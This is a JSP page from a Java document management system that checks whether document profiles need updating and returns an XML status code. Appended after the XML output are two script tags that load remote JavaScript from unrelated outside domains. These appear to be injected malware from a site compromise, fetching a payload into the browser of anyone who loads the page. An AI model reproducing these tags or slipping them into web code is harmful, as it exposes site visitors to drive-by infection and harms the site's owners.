<%@ page contentType="text/xml;charset=UTF-8"
%><%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.dao.*"
%><%@ page import="java.sql.*"
%><%@ page import="com.dcivision.dms.core.*"
%><%@ page import="org.apache.commons.logging.LogFactory"%><%
  String lastUpdateDate = request.getParameter("lastUpdateDate");
  String statusCode = "1";  // "1" for need to update, "0" for not need.

  if (!Utility.isEmpty(lastUpdateDate)) {
    // Check whether the profile need to update by comparing the last update
    // date with the maximum last update date in database.
    Connection conn = null;
    try {
      Timestamp maxUpdateTimestamp = null;
      Timestamp lastUpdateTimestamp = Utility.parseDateStringToSystemDate(lastUpdateDate, "yyyy-MM-dd_HH:mm:ss");
      conn = DataSourceFactory.getConnection();
      DocumentRetrievalManager dmsRetrievalManager = new DocumentRetrievalManager(null,conn);
      maxUpdateTimestamp = dmsRetrievalManager.getAllProfileTheMaxUpdateDate();
      if (maxUpdateTimestamp != null && maxUpdateTimestamp.getTime() !=  lastUpdateTimestamp.getTime() ){
         statusCode = "1" ;
	  }else{
         statusCode = "0" ;
	  }
/*
      SysUserDefinedIndexDAObject sysUDFDAO = new SysUserDefinedIndexDAObject(null, conn);
      SysUserDefinedIndexDetailDAObject sysUDFDetailDAO = new SysUserDefinedIndexDetailDAObject(null, conn);
      boolean requireUpdate = sysUDFDAO.isRequiredUpdate(lastUpdateTimestamp) || sysUDFDetailDAO.isRequiredUpdate(lastUpdateTimestamp);
      statusCode = requireUpdate ? "1" : "0";
*/
    } catch (Exception e) {
	    LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }
  }
%><?xml version="1.0" encoding="UTF-8" ?>
<StatusCode><%=statusCode%></StatusCode>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>